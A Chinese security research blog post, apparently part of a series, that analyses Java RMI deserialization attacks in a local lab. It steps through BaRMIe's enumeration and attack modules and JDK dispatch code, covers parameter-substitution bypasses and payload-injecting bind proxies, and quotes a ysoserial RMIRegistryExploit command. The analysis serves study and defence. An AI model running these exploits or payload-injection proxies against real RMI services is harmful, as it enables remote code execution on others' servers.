> 而第三、第四个点则是想办法让对方服务器加载我们的恶意类，在对方服务器上实例化的时候执行恶意的构造函数或静态方法等（JNDI由于代码还可以执行另一个方法，这里不多说了）
>
> **我们在本文中只专注讨论剖析 探测利用开放的RMI服务、基于RMI服务反序列化过程的攻击**
我们对于 **1.探测利用开放的RMI服务** 简单纸上谈兵了一下：可能存在可以利用的随便写入文件的类啦巴拉巴拉。
同时简单复现了其中的 **2.基于RMI服务反序列化过程** 的攻击：
在起一个有CC利用链（Commons-Collections）的RMI服务端之后，我们将服务端提供的服务的接口参数设置成Object类型（因为我们的payload就是Object对象）然后再拿这个object的payload去打提供服务的RMI服务端，成功。
String url = "rmi://127.0.0.1:1099/User";
User userClient = (User)Naming.lookup(url);
userClient.say("world");
userClient.dowork(getpayload());
//dowaok接受一个Object函数，这时候我们传入恶意object会在对方服务器readobject反序列化
于是那时候总结就是，如果RMI服务端可以被攻击成功需要：
1. 服务端提供一个RMI服务，提供的RMI服务的方法的参数必须为Object（因为我们的payload是Object）
2. 服务端有可以被利用的反序列化利用链及环境
于是就觉得辣鸡漏洞，还需要对方提供一个Object的对象来把自己的payload对着这个Object点塞进去才行。实际情况咋可能，垃圾。
实际上，对于之前讨论的：
1. 我们没有对探测利用开放的RMI服务进行进一步探究，到底是怎么探测的？
2. RMI客户端打RMI服务端我们知道需要一个Object接口，但是我们是可以查询到这个接口是不是有Object参数，然后真的就条件这么苛刻，没有其他办法了么？
3. 之前的分析，完全忽略了 **RMI注册端** 的情况。
4. 之前的分析，完全片面理解了针对RMI服务的攻击，实际上还有很多利用方式和细节，简直管中窥豹。
5. 我们没有继续分析相应的利用工具的使用以及实现细节。
6. 我们没有继续分析在JDK版本更新中对于封堵的绕过情况
这是一长串的一环套着一环的疑问，
我们先来解决第一个问题 **探测利用开放的RMI服务到底是个怎样攻击的流程** 。
## 探测利用开放的RMI服务
之前我们讲到探测利用开放的RMI服务，使用工具[BaRMIe](https://github.com/NickstaDB/BaRMIe)去寻找可受攻击的RMI服务，比如可能提供了文件上传等危险功能，一种就跟普通web测试差不多的很简单的感觉。
但实际上我们要调用一个存在危险功能的RMI服务端需要知道：RMI对象 **a** 、方法 **b** 、参数 **c** ，即`a.b(c)`
自然会认为我们作为RMI客户端向RMI注册端查询有哪些RMI服务端，然后再去RMI服务端查询接口和参数，再根据返回的接口和参数，构造利用就好了。
但是回忆一下在上一篇中讲述的RMI通讯流程，好像压根就没有RMI客户端向RMI服务端查询接口（方法和参数）的这一步骤，都是本地写一个一模一样的接口然后直接调用的。
那么我们得不到方法和参数，实际上是不是根本就没有探测利用开放的RMI服务利用这么一说呢？
我们来看 **BaRMIe工具** 是怎么做的。
### BaRMIe
先分析下这个工具——[BaRMIe](https://github.com/NickstaDB/BaRMIe)。工具提供了两种利用模式——`enum`枚举模式，`attack`攻击模式。
Github下载源码，然后Debug一下这个工具，idea使用 **listen to remote JVM** 的形式进行调试。
idea端：
源码处下断点，复制图中那个Command line，然后删掉<>可选，命令行运行比如：
`java
-agentlib:jdwp=transport=dt_socket,server=n,address=LAPTOP-50N17D1J:5005,suspend=y
-jar BaRMIe.jar -enum 127.0.0.1 1099`
就可以调试了。（复制过去是不行的因为address不一样）
看enum枚举模式。入口在`nb.barmie.modes.enumeration.EnumerationTask#run`
代码不复杂就不大篇幅注解了，主要分为几步，直接总结下：
**第一步** ：`ep = this._enumerator.enumerateEndpoint(this._target);`
作为RMI客户端向RMI注册端获取RMI服务端信息，这里叫做Endpoint，并分析Endpoint是RMI服务端
1. `LocateRegistry.getRegistry`获取目标IP端口的RMI注册端
2. `reg.list()`获取注册端上所有服务端的Endpoint对象
3. 使用`reg.unbind(unbindName);`解绑一个不存在的RMI服务名，根据报错信息来判断我们当前IP是否可以操控该RMI注册端（如果可以操控，意味着我们可以解绑任意已经存在RMI服务，但是这只是破坏，没有太大的意义，就算bind一个恶意的服务上去，调用它，也是在我们自己的机器上运行而不是RMI服务端）
4. 本地起一个代理用的RMI注册端，用于转发我们对于目标RMI注册端的请求（在RaRMIe中，通过这层代理用注册端可以变量成payload啥的，算是一层封装；在这里用于接受原始回应数据，再进行解析）
5. 通过代理服务器`reg.lookup(objectNames[i]);`遍历之前获取的所有服务端的Endpoint。
6. 通过代理服务器得到lookup返回的源数据，自行解析获取对应对象相应的类细节。（因为直接让他自动解析是不会有响应的类信息的）
至此就获取了如下信息，可以看到会解析出RMI服务端的类名等等。
如果这些信息都获取成功，就会判定为这个端口是一个注册端，否则觉得这个不是注册端，输出
但是实际上你一个根本没开的端口扫描结果也会跟你说是一个RMI服务接口，随便看看就好了，相当于失败了。
**第二步** ：`attacks = RMIAttackFactory.findAttacksForEndpoint(ep);`：
对于所有Endpoint（RMI服务端）进行遍历，再一一调用攻击模块判断是否可以攻击。
攻击模块如下：
在看完代码后，我把他们根据攻击类型划分如下：
1. RMI客户端探测利用RMI服务：
Axiom
-DeleteFile
-ListFiles
-ReadFile
-WriteFile
1. RMI客户端反序列化攻击RMI服务端——利用Object类型参数（RMI服务端提供的对象的方法参数有一个是Obejct类型）
Java
-JmxDeser
SpringFramework
-RmiInvocationHandlerDeser
-Spring2RmilnvocationHandlerDeser
1. RMI服务端攻击RMI注册端——Bind类攻击
Java
-IllegalRegistryBind
以上当然这就有超出了探测利用RMI服务以外的类型，我们先划分出来。看看调用攻击模块之后做了什么，再回过头一个个分析攻击模块。
**第三步** ：`deserPayloads = DeserPayloadFactory.findGadgetsForEndpoint(ep);`
对于所有Endpoint（RMI服务端）进行遍历，尝试判断是否存在反序列化利用链。
1. 其判断的原理大概是，判断RMI注册端提供的RMI服务端的对象class（如：com.lala.User）的路径中（不是非常确定？)，是否包含存在已知反序列化利用链的jar包。
这是一个比较不靠谱的判断是否存在反序列化利用链的方法，反正我靶机中服务端有CC利用链，但是无法探测到。
其中工具中已知反序列化利用链的jar包类别如下：
CommonsCollectionsPayload
GroovyPayload
JBossInterceptorsPayload
ROMEPayload
RhinoPayload
### 看看探测利用开放的RMI服务的攻击模块是怎么实现的
4个攻击模块Delete、List、Read、Write都是针对AxiomSL这个组件。看一个List的。
描述：AxiomSL公开一个对象FileBrowserStub，它有一个list files（）方法，该方法返回给定目录中的文件列表。
在判断是否存在漏洞时会去判断RMI服务返回的对象的class栈中是否存在以下class路径：
axiomsl.server.rmi.FileBrowserStub
判断存在该class路径后，再进行利用；实际利用代码也很简单，就是普通的RMI服务调用：
//nb.barmie.modes.attack.attacks.Axiom.ListFiles#executeAttack
public void executeAttack(RMIEndpoint ep) throws BaRMIeException {
//一些参数设定
//用户输入一个想要列出的文件目录
path = this.promptUserForInput("Enter a path to list files from: ", false);
System.out.println("");
//向eq（RMI服务端）lookup一个FileBrowserStub对象
//同时本地也写好了FileBrowserStub接口
System.out.println("[~] Getting fileBrowser object...");
fbs = (FileBrowserStub)this.getRemoteObject(ep, "fileBrowser");
//调用listFilesOnServer方法获取调用结果
files = fbs.listFilesOnServer(path);
}
/***********************************************************
* FileBrowserStub for AxiomSL attacks.
**********************************************************/
public abstract interface FileBrowserStub extends Remote {
public abstract FileInformation[] listFilesOnServer(String paramString) throws RemoteException;
public abstract byte[] readFile(String paramString, long paramLong, int paramInt) throws IOException;
public abstract void writeFile(String paramString, byte[] paramArrayOfByte) throws IOException;
public abstract boolean deleteFile(String paramString, boolean paramBoolean) throws RemoteException;
public abstract FileInformation getFileInformation(String paramString) throws RemoteException;
}
那这边也就清楚了，实际上探测利用开放的RMI服务，根本只是攻击者自己知道有哪些组件会提供危险的RMI服务。然后根据class路径去判断对面是否使用了该组件，如果用了就尝试打一打看看成不成功。
假如对面提供了我们一个不认识的RMI服务，我们是没有能力攻击的。
就如之前提到的一样：因为我们没有RMI服务对象的接口（方法+参数）。就算对面开放了一个Class名字可疑的服务，我们也没有办法去正确调用它。
可见这种理论存在但是不怎么被人讨论的攻击方法总是有些鸡肋。
## RMI客户端反序列化攻击RMI服务端
那么再看之前的工具中的第二类攻击形式——RMI客户端反序列化攻击RMI服务端
### 利用Object类型参数
3个攻击模块都是利用有Object类型参数的接口，来传入Object类型的payload，在RMI服务端对Object类型的参数进行反序列化时，触发payload来完成反序列化攻击的。
Java
-JmxDeser
SpringFramework
-RmiInvocationHandlerDeser
-Spring2RmilnvocationHandlerDeser
这三个攻击模块同样是针对特定的组件提供的RMI服务，在判断是否存在漏洞时，代码会去判断RMI服务返回的对象的class栈是否存在以下class路径：
javax.management.remote.rmi.RMIServerImpl_Stub
javax.management.remote.rmi.RMIServer
org.springframework.remoting.rmi.RmiInvocationWrapper_Stub
org.springframework.remoting.rmi.RmiInvocationHandler
**利用Object类型参数** 跟探测利用开放的RMI服务一样，也是假如对面自实现了RMI服务，我们没有接口的话就两眼摸黑，无法下手。
还是继续看看BaRMIe是怎么攻击的，以Spring RMI服务为例。
描述：Spring RMI
Remoting使用invoke（）方法公开一个远程类，该方法接受一个RemoteInvocation对象作为参数。RemoteInvocation对象有一个可以保存任何对象的属性，从而启用反序列化攻击。
//nb.barmie.modes.attack.attacks.Java.JMXDeser#executeAttack
public void executeAttack(RMIEndpoint ep, DeserPayload payload, String cmd) throws BaRMIeException {
RMIServer obj;
//eq是RMI服务
//payload是选取的payload种类
//cmd是我们要在目标执行的命令
//开始攻击
try {
//建立代理rmi服务，等会我们去看看内部做了什么
System.out.println("\n[~] Getting proxied jmxrmi object...");
obj = (RMIServer)this.getProxiedObject(ep, "jmxrmi", payload.getBytes(cmd, 0));
//调用newClient()方法,传入一个固定默认的object
System.out.println("[+] Retrieved, invoking newClient(PAYLOAD)...");
obj.newClient(this.DEFAULT_MARKER_OBJECT);
} catch(Exception ex) {
//Check the exception for useful info
this.checkDeserException(ex);
}
}
跟进this.getProxiedObject
`nb.barmie.modes.attack.RMIDeserAttack#getProxiedObject(nb.barmie.modes.enumeration.RMIEndpoint,
java.lang.String, byte[])`:
protected final Object getProxiedObject(RMIEndpoint ep, String name, byte[] payload) throws BaRMIeException {
//需要注意此处的this.DEFAULT_MARKER_OBJECT_BYTES
//与obj.newClient(this.DEFAULT_MARKER_OBJECT)中的内容一致，等同于一个占位符的感觉
//这边是从ep（rmi服务端）端中获取了名字为name的对象，做代理
//同时在代理之后所有的通讯的同时，会将this.DEFAULT_MARKER_OBJECT_BYTES替换为payload
//从而实现不同的payload的动态注入
return this.getProxiedObject(ep, name, payload, this.DEFAULT_MARKER_OBJECT_BYTES);
}
可以看到实际利用就是直接去服务端lookup获取这个 **jmxrmi** 对象，获取到了就调用 **newClient(Object a)**
这个方法，然后用自己的payload替换这个a就可以了。
与我们预想中的一样，也不是啥rmi服务都能打的。如果不知道对面接口、参数，对方那又不存在自己已知的用Object参数的rmi服务接口（class判断），就直接GG。
同样局限很大，但是相对于探测利用开放的RMI服务，这个稍微要求低点，不要求对方功能有害，只要有一个已知有Object参数的方法接口就行。但是，这里作为一个反序列化点，要利用，还需要服务器有利用链才行。
#### 漏洞触发点
我们之前默认了这个Object参数肯定会在服务端反序列化，虽然事实也是如此，但是我们来看一下到底在服务端是如何反序列化的。这将对我们接下来的漏洞理解有帮助，毕竟之后都是看源码。
> github：RMI-Client Client 攻击 RMI-Server ServerAndRegister
> 【没用BaRMIe打是因为，那边的环境比较复杂，自己写个参数简单点】
>
> jdk:1.7u80【这边使用的CC payload是1.7下的】
>
> 反序列化链：cc3.2.1
服务端在下面的dispatch方法中下断点，开启调试，客户端直接运行攻击服务端，就会到断点处
`rt.jar.sun.rmi.server.UnicastServerRef#dispatch`
public void dispatch(Remote var1, RemoteCall var2) throws IOException {
try {
long var4;
ObjectInput var40;
//---------第一个try-------- try {
var40 = var2.getInputStream();
int var3 = var40.readInt();
if (var3 >= 0) {
//在正式接受参数前解析前，会进入几次这个if函数，虽然不知道干了啥，估计是一些固定通讯
//但是在接受参数，进行解析执行参数的dispatch，不会进入这个if
//所以第一个try这里其实没做什么，就在下main读取了一个Method hash
if (this.skel != null) {
this.oldDispatch(var1, var2, var3);
return;
}
throw new UnmarshalException("skeleton class not found but required for client version");
}
//var4是从客户端传输过来的序列化数据中读取客户端调用的Method hash
var4 = var40.readLong();
} catch (Exception var36) {
throw new UnmarshalException("error unmarshalling call header", var36);
}
//--------第一个try结束--------- MarshalInputStream var39 = (MarshalInputStream)var40;
var39.skipDefaultResolveClass();
//通过客户端提供的var4去验证客户端想要调用的方法，在这里有没有
Method var8 = (Method)this.hashToMethod_Map.get(var4);
//如果没有就报错你想调用的方法在这里不存在。
if (var8 == null) {
throw new UnmarshalException("unrecognized method hash: method not supported by remote object");
}
来看看这边服务端的hashToMethod_Map长啥样，就是我们在服务端实现的RMI服务对象的三个方法。
**之前开过一个脑洞** ：
正常而言是服务端什么接口，客户端就用什么接口，比如`name(java.lang.String)`
如果我们在客户端强行把`name(java.lang.String)`的方法接口写成`name(java.lang.Object)`（因为在客户端，RMI接口类是客户端自己写的，如果把name参数故意写成Object，在客户端调用是不会报错的），尝试无中生有一个Object来让服务端解析，如果这样成功的话，就可以这样是不是就扩大了攻击面了，不是Object的参数就创造一个Object参数出来，让服务端解析？
但是实际上看过源码我们也会发现，会卡死在上面method hash验证这一步的，会报错： **unrecognized method hash**
虽然我们知道不行，还是看看具体数据包，打开wireshark，抓个RMI客户端发送参数给RMI服务端的数据包（关于抓包交互流程啥的参考上一篇RMI
反序列化吧，个人是抓的Npcap网卡，无线网卡抓不到本地交互包）：
导出为16进制字符串，把aced反序列化开头前的不要，给serializationdumper分析一下，图中框起来的就是我们客户端传输的method
hash
对比下服务端分析处的：（服务端调试时，显示的是10进制Long型，写个小DEMO，我们把它调为16进制来对比下）
跟我们wireshark获取的完全一致（当然了....）但是这个Method hash，与上面服务端自己实现的method hash
map中的值均不符，于是，强行把`name(java.lang.String)`的方法接口写成`name(java.lang.Object)`来无中生有一个Object，会因为服务端没有我们传输过去的method
hash而失败。
啊噢，脑洞失败。
但是 **第二个脑洞** ：我们既然都抓到数据包了，反正理论上我们客户端生成的数据包我们可以随意控制，我们可以在method
hash的位置正常写一个服务端有的method hash，就可以通过method hash校验了。但是然后传输的参数继续写成Object形式这样可以么？
继续看源码，顺路看看判断这个脑洞可以不，`sun.rmi.server.UnicastServerRef#dispatch`紧接着上面method
hash判定
this.logCall(var1, var8);
//var8 是在hashToMethod_Map中用客户端传输过来的method hash查询到的RMI服务端实现的Method类型
//获取Method中的入参
Class[] var9 = var8.getParameterTypes();
//获取入参个数，等会拿来存储反序列化结果
Object[] var10 = new Object[var9.length];
try {
//这边是JDK提供给开发者自定义的解析部分，默认是一个空函数
this.unmarshalCustomCallData(var40);
//遍历入参类型
for(int var11 = 0; var11 < var9.length; ++var11) {
//**关键函数**：unmarshaValue(入参类型，传输数据包)
//这里开始根据 入参类型（var9[var11]） 反序列化 传输过来的序列化入参，然后反序列化结果给var10
var10[var11] = unmarshalValue(var9[var11], var40);
}
} catch (IOException var33) {
throw new UnmarshalException("error unmarshalling arguments", var33);
} catch (ClassNotFoundException var34) {
throw new UnmarshalException("error unmarshalling arguments", var34);
} finally {
var2.releaseInputStream();
}
上面说到第二个脑洞：关注 **unmarshalValue(var9[var11], var40);**
* 这里我们客户端传输的Object类型恶意参数在var40中
* 入参类型（var9[var11]）是服务器本地RMI服务Method的设定参数类型
这里的处理是没问题的，用本地的Method设定的参数类型去读取客户端提供的输入流。
继续跟进`sun.rmi.server.UnicastRef#unmarshalValue`
protected static Object unmarshalValue(Class<?> var0, ObjectInput var1) throws IOException, ClassNotFoundException {
//var0 是服务端Method设定的入参参数类型
//var1 是传输从客户端来的的序列化数据流
//var0.isPrimitive 判断是否是默认基础类型
//需要注意基础类型!=下面这些TYPE，我们在之后解释这个坑
if (var0.isPrimitive()) {
if (var0 == Integer.TYPE) {
return var1.readInt();
} else if (var0 == Boolean.TYPE) {
return var1.readBoolean();
} else if (var0 == Byte.TYPE) {
return var1.readByte();
} else if (var0 == Character.TYPE) {
return var1.readChar();
} else if (var0 == Short.TYPE) {
return var1.readShort();
} else if (var0 == Long.TYPE) {
return var1.readLong();
} else if (var0 == Float.TYPE) {
return var1.readFloat();
} else if (var0 == Double.TYPE) {
return var1.readDouble();
} else {
throw new Error("Unrecognized primitive type: " + var0);
}
} else {
//将从客户端传输过来的序列化数据流进行readObject
//**反序列化执行处**
return var1.readObject();
}
}
这里`var1.readObject();`就是 **反序列化** 我们的Object payload参数的地方。
到这里我们利用Object的类型参数传输payload的漏洞触发点就跟完了，主要就以下步骤
1. 根据传输过来的Method hash，判断本地提供的RMI服务类的方法是否有这个Method hash
2. 根据Method hash取到Method类，遍历入参，从输入流按顺序反序列化入参
3. 当服务端设定的RMI方法的入参 **不是基础数据类型** 时，执行`var1.readObject`就会触发我们的payload
### 绕过Object类型参数
上面我们也在一直开脑洞，想要扩大影响范围，但一路分析下来好像看似没什么办法。但是好像有一个地方可以注意到：当服务端设定的RMI方法的入参
**不是基础数据类型** 时，就会执行反序列化输入流。这里并不强求是要Object类型的参数才能`var1.readObject`。
这里看似没问题，但是你细品：
假如服务端的RMI方法接口的入参是`name(java.lang.String)`（ **String不在基础数据类型表中**
）；那么它就会进入else分支，执行`var1.readObject();`，但是`var1`又是我们客户端输出的值，假如我们输入的
**不是一个`java.lang.String`的值**，而是一个 **Object对象**
，那么实际上也会被反序列化解析，即`Object.readObject();`完成任意命令执行。
那么： **RMI服务端需要起一个具有Object参数的RMI方法** 的利用条件限制 就扩展到了
**RMI服务端只需要起一个具有不属于基础数据类型参数的RMI方法** （比如String啥的）
**攻击原理核心**
在于替换原本不是Object类型的参数变为Object类型。之前我们修改String接口变为Object，是可以做到修改参数类型，但是那样还会修改method
hash。所以这里只能修改底层代码，去替换原本的参数为我们想要的payload。
afanti总结了以下途径（后发现是[国外老哥](https://mogwailabs.de/blog/2019/03/attacking-java-rmi-services-after-jep-290/)先提出来的）：
1. 直接修改rmi底层源码
2. 在运行时，添加调试器hook客户端，然后替换
3. 在客户端使用Javassist工具更改字节码
4. 使用代理，来替换已经序列化的对象中的参数信息
途径不同，目的都是一样的，我们使用afanti的[RemoteObjectInvocationHandler](https://github.com/Afant1/RemoteObjectInvocationHandler)来试验下可行性。
RMI服务端改成提供一个String参数为接口的方法：`say(String say)`
修改`afanti.rasp.visitor.RemoteObjectInvocationHandlerHookVisitor.RemoteObjectInvocationHandlerHookVisitorAdapter#onMethodEnter`下的DNS地址为自己的，然后打包成jar。
设置VM options
Server调试一下，断点下在入参判断处，然后客户端直接运行。
可以看到入参类型为String，但是var1中是Object类型的URLDNS payload
到URLDNS的触发末端下个断点看看`java.net.URLStreamHandler#hashCode`，已经执行到这了，证明OK。（其实是由于再写文章的时候CEYE莫名其妙挂了，就不补图惹，不了解URLDNS原理的可以看[这里](https://www.anquanke.com/post/id/201762#h3-7)）
其实我们回看[BaRMIe](https://github.com/NickstaDB/BaRMIe)，会发现在其README.md文档中已经对于该类型绕过进行了说明（可能这就是大佬吧.jpg）：
> 3.通过非法的方法调用进行反序列化攻击
>
>
> 由于在服务器上对于客户端传入参数序列化的同时对于方法的参数并没有进行匹配检查。我们可以使用具有非原始参数类型的任何方法作为反序列化攻击的入口点。BaRMIe通过使用TCP代理在网络级别修改方法参数来实现这一点，实际上触发了非法的方法调用。下面是一些易受攻击方法的示例：
>
>
> public void setName(String name);
> public Long add(Integer i1, Integer i2);
> public void sum(int[] values);
>
>
>
> 当方法调用通过代理时，这些方法的参数可以替换为反序列化负载。此攻击是可能的，因为Java在反序列化之前不会尝试验证通过网络接收的远程方法参数是否与实际参数类型兼容。
这里提到 **Integer参数** 也是可以利用的，但是想想不科学呀，Integer不是在if为true的情况下么？我们回看下
if (var0.isPrimitive()) {
if (var0 == Integer.TYPE) {//这里
return var1.readInt();
//...
查一下[isPrimitive()](http://www.51gjie.com/java/778.html)是判断是否为基本类，包括基本类型boolean、char、byte、short、int、long、float、double。而Integer是int的封装类，不是一个基本类，所以Interger的参数也可以？
试一试：
还真的会到else中......
这里有一个非常坑的烟雾弹，那就是下面的 **Integer.TYPE**
，真的会很自然的以为Integer.TYPE就是Integer类，那么包括integer类下面的这些类都不行，而实际上 **Integer.TYPE**
不是Integer类是基础类 **int** ！！！！！
那么我们也就可以理解为啥 **参数为Integer** 是可以的了，因为Integer !=i nt，不是基础类。
再顺手来验证下 **int[]** 吧
也进入else，数组的class竟然长这样 因垂丝汀。最后看一个不行的int类型：
> 这里截图是去掉替换成payload的jar包看到的结果，替换成payload后其实不到这里就会报错退出，没有细究应该是payload的问题。
那么至此我们也就知道： **假如服务端起一个RMI服务，只要提供了非基础类的参数接口，我们都可以对其进行反序列化攻击。**
在相关文章中总结的：
* Bypass JEP290攻击rmi的 **即使暴露的函数非Object参数类型的，也是可以被攻击的。**
* RMI漏洞的另一种利用方式的 **如果暴露的函数无Object类型参数，那么就需要动态替换rmi通讯时候函数参数的值**
感觉都会有些误导说让人迷糊的觉得所有参数都可以，可能是因为这个太简单了？？
回到Barmie工具，它虽然提出了这个绕过Object调用的利用方式，但是是没有为其提供攻击模块。
想想也正常，这个绕过其实在实际场景中也同样有一个鸡肋的前提，客户端要知道服务端起服务的接口以及调用方式，即a.b(c)。
实际利用还是太难了。
## RMI服务端反序列化攻击RMI注册端
上边讲述的三类攻击方式，讨论的人挺少，因为在实际中确实挺鸡肋的，但是搞搞清楚也算有趣。
接下来就是比较通用的攻击情景了：攻击者模拟RMI服务端攻击RMI注册端
我们先来看看RMI服务端的漏洞触发点代码：`/rt.jar!/sun/rmi/server/UnicastServerRef.class#RegistryImpl_Skel`
> 环境：RMI-Server ServerAndRegister 分析
>
> jdk:1.7u80
>
>
> jdk7u80版本这个地方在调试`RegistryImpl_Skel.class`这个神奇的文件的时候有一个非常有趣而坑爹的情况，那就是这个class压根没法调试。百思不得其解，去下了openjdk
> 的jdk源码，发现源码中根本没有这个`RegistryImpl_Skel.java`文件。
>
>
> 跟wh1tp1g讨论了下，应该是一个动态生成的class，所以不能调试。然后非常神奇在jdk8版本的8u112也不能调试，但是8u141之后又可以了。如果有想自己调试的同学可以注意下这个点。
`sun.rmi.registry.RegistryImpl_Skel#dispatch`（我们可以叫做RMI注册任务分发处，就是注册端处理请求的地方）其实是从`sun.rmi.server.UnicastServerRef#dispatch`（RMI请求分发处）那边过来的。
由于RegistryImpl_Skel不能下断点，我们在bind函数执行处`sun.rmi.registry.RegistryImpl#bind`下一个断点，直接运行，就可以得到调用栈，再回去找就好了。
`sun.rmi.registry.RegistryImpl_Skel#dispatch`：
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
//一处接口hash验证
if (var4 != 4905912898345647071L) {
throw new SkeletonMismatchException("interface hash mismatch");
} else {
//设定变量开始处理请求
//var6为RegistryImpl对象，调用的就是这个对象的bind、list等方法
RegistryImpl var6 = (RegistryImpl)var1;
//接受客户端输入流的参数变量
String var7;
Remote var8;
ObjectInput var10;
ObjectInput var11;
//var3表示对应的方法值0-4，这个数字是跟RMI客户端约定好的
//比如RMI客户端发送bind请求：就是sun.rmi.registry.RegistryImpl_Stub#bind中的这一句
//super.ref.newCall(this, operations, 0, 4905912898345647071L);
switch(var3) {
//统一删除了try等语句
case 0:
//bind(String,Remote)分支
var11 = var2.getInputStream();
//1.反序列化触发处
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
var6.bind(var7, var8);
case 1:
//list()分支
var2.releaseInputStream();
String[] var97 = var6.list();
ObjectOutput var98 = var2.getResultStream(true);
var98.writeObject(var97);
case 2:
//lookup(String)分支
var10 = var2.getInputStream();
//2.反序列化触发处
var7 = (String)var10.readObject();
var8 = var6.lookup(var7);
case 3:
//rebind(String,Remote)分支
var11 = var2.getInputStream();
//3.反序列化触发处
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
var6.rebind(var7, var8);
case 4:
//unbind(String)分支
var10 = var2.getInputStream();
//4.反序列化触发处
var7 = (String)var10.readObject();
var6.unbind(var7);
default:
throw new UnmarshalException("invalid method number");
}
}
}
可以得到4个反序列化触发处： **lookup** 、 **unbind** 、 **rebind** 、 **bind** 。
#### RMI客户端角度的lookup攻击RMI注册端
>
> 其中lookup是以客户端的角度攻击，但是其原理与以服务端角度攻击的bind，rebind，unbind完全一致。我们会在最后的罗列中把lookup区分开，不再领出来细说。
>
> 此处建立一个小标题，作为提醒
这里可能会有一个疑问：
**4个接口有两类参数，String和Remote类型的Object，那么是不是我们只能攻击必须要是Remote类型的Object接口呢？即实际上只有bind、rebind接口才是可以攻击的？**
之所以会产生这个疑问是由于 有些文章会说替换Remote类型的参数为payload 或者
我们看Ysoserial的payload的构造过程也是构造出一个Remote类型的payload
Object，再把正常的Remote参数替换为Remote类型的payload，这些都给我们一种只有Remote参数才能反序列化的假象
虽然我们看到RMI注册端的解析过程是直接反序列化传参，看样子String和Remote的参数位置都是可以的，但还是会摇摆不定。
但事实是 **RMI注册端没有任何校验，你的payload放在Remote参数位置可以攻击成功，放在String参数位置也可以攻击成功** 。
而之所以Ysoserial生成payload要变成Remote格式，是因为RMI服务端发这个数据包的流程中会需要这个对象是Remote类型的，我们之后将证明，并且详细说明。
### Barmie - Bind
各个工具都对于服务端打注册端的bind攻击写了exploit，相对于上面攻击形式，bind攻击更具备通用性。
Barmie对于Bind接口有探测和攻击两个模块
简单总结一下探测模块：`nb.barmie.modes.attack.attacks.Java.IllegalRegistryBind#canAttackEndpoint`
1. 新建一个RMI代理服务器，在这个代理服务器中会对输出的数据包进行重新构造
2. 获取这个RMI对象，调用其bind方法
3. 重构客户端输出的数据包，改变其内容为预设好的一个Object
4. 服务端肯定会报错（由于我们预设的Object不会被正确解析执行），根据服务端返回报错栈，去匹配是否有`filter status: REJECTED`字符串来判断，对方的JDK版本我们是否可以攻击。（这个字符串是JEP290拦截导致的，之后我们会提到）
5. 如果没有匹配到就说明可以攻击。
再来详细看看流程比较相似的攻击模块`nb.barmie.modes.attack.attacks.Java.IllegalRegistryBind#executeAttack`：
public void executeAttack(RMIEndpoint ep, DeserPayload payload, String cmd) throws BaRMIeException {
RMIBindExploitProxy proxy = null;//代理器
Registry reg;
//已删去try部分
//1.初始化一个bind RMI注册端代理器
//我们的payload从这里给入
proxy = new RMIBindExploitProxy(InetAddress.getByName(ep.getEndpoint().getHost()), ep.getEndpoint().getPort(), this._options, payload.getBytes(cmd, 0));
proxy.startProxy();
//2.从RMI注册端代理器获取一个注册端对象
reg = LocateRegistry.getRegistry(proxy.getServerListenAddress().getHostAddress(), proxy.getServerListenPort());
//3.通过RMI注册端代理器调用bind，修改参数为给定的payload
//reg.bind(随机字符串,一个接口需要的Remote接口)
//但是经过注册端代理器之后，这里的参数会被改为：bind(PAYLOAD, null)，没错payload是String的位置
reg.bind(this.generateRandomString(), new BaRMIeBindExploit());
}
private static class BaRMIeBindExploit implements Remote, Serializable {
}
最后形成的调用是`bind(PAYLOAD, null)`
看看具体实现`nb.barmie.net.proxy.thread.BindPayloadInjectingProxyThread#handleData`
public ByteArrayOutputStream handleData(ByteArrayOutputStream data) {
ByteArrayOutputStream out;
int blockLen;
byte[] dataBytes;
//获取输入的长度
dataBytes = data.toByteArray();
//判断这个输入包是不是一个RMI调用包，如果是的话进行修改
if(dataBytes.length > 7 && dataBytes[0] == (byte)0x50) {
//调用包以 TC_BLOCKDATA 标签开头,获取它的标签长度
blockLen = (int)(dataBytes[6] & 0xff);
//自己构建一个新的字节流，以原来包的长度和TC_BLOCKDATA标签开头
out = new ByteArrayOutputStream();
out.write(dataBytes, 0, blockLen + 7);
//在后面写入我们给定的payload
out.write(this._payload, 0, this._payload.length);
//最后给一个NULL标签（作为bind方法的第二个参数）
out.write((byte)0x70);
//把新的数据包发送给服务端
return out;
} else {
//不是RMI调用的数据包就直接发送
return data;
}
}
可以看到这边完全是自己重构了客户端发往服务端的数据包，并且给入了两个参数， **payload** 替换 **String** ， **null** 替换
**Remote** 。
我们再攻击一下我们的RMI服务端靶机，用wireshark抓包确认下，顺便把后面Ysoserial-RMIRegistryExploit的包先提上来对比一下：
可以发现Barmie的bind攻击是通过第一个String参数替换payload（Hashset就是CC的攻击链）攻击成功的，而Ysoserial的RMIRegisterExpolit模块的bind攻击是通过构造了一个符合Remote条件的第二个Remote参数（把CC的攻击链包装成了Remote）攻击成功的。
那么之前的疑问 **是不是我们只能攻击必须要是Remote类型的Object接口呢？** 也就破案了：不是，是String和Remote类型均可。
那么也就是说 **lookup** 、 **unbind** 、 **rebind** 、 **bind** 四个接口都可以利用同样的原理攻击。
### Ysoserial-RMIRegistryExploit - Bind
那么Ysoserial不写代理器还去自己把CC攻击链包装成了Remote类型，也挺有意思的，我们看看它是怎么做的。
命令行用这个命令调用exploit模块：`java -cp F:\xxx\java\ysoserial.jar
ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsCollections1
"calc"`
看下核心代码`ysoserial.exploit.RMIRegistryExploit#exploit`：
public static void exploit(final Registry registry,
final Class<? extends ObjectPayload> payloadClass,
final String command) throws Exception {
new ExecCheckingSecurityManager().callWrapped(new Callable<Void>(){public Void call() throws Exception {
//获取payload
ObjectPayload payloadObj = payloadClass.newInstance();
Object payload = payloadObj.getObject(command);
String name = "pwned" + System.nanoTime();
//将payload封装成Map
//然后通过sun.reflect.annotation.AnnotationInvocationHandler建立起动态代理
//变为Remote类型
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
try {
//封装的remote类型，通过RMI客户端的正常接口发出去
registry.bind(name, remote);
} catch (Throwable e) {
e.printStackTrace();
}
Utils.releasePayload(payloadObj, payload);
return null;
}});
}
}
使用到了 **动态代理** ，简单总结一下：
* 被代理的接口：Remote.class
* 代理的实现类（也可以理解为拦截器）：sun.reflect.annotation.AnnotationInvocationHandler
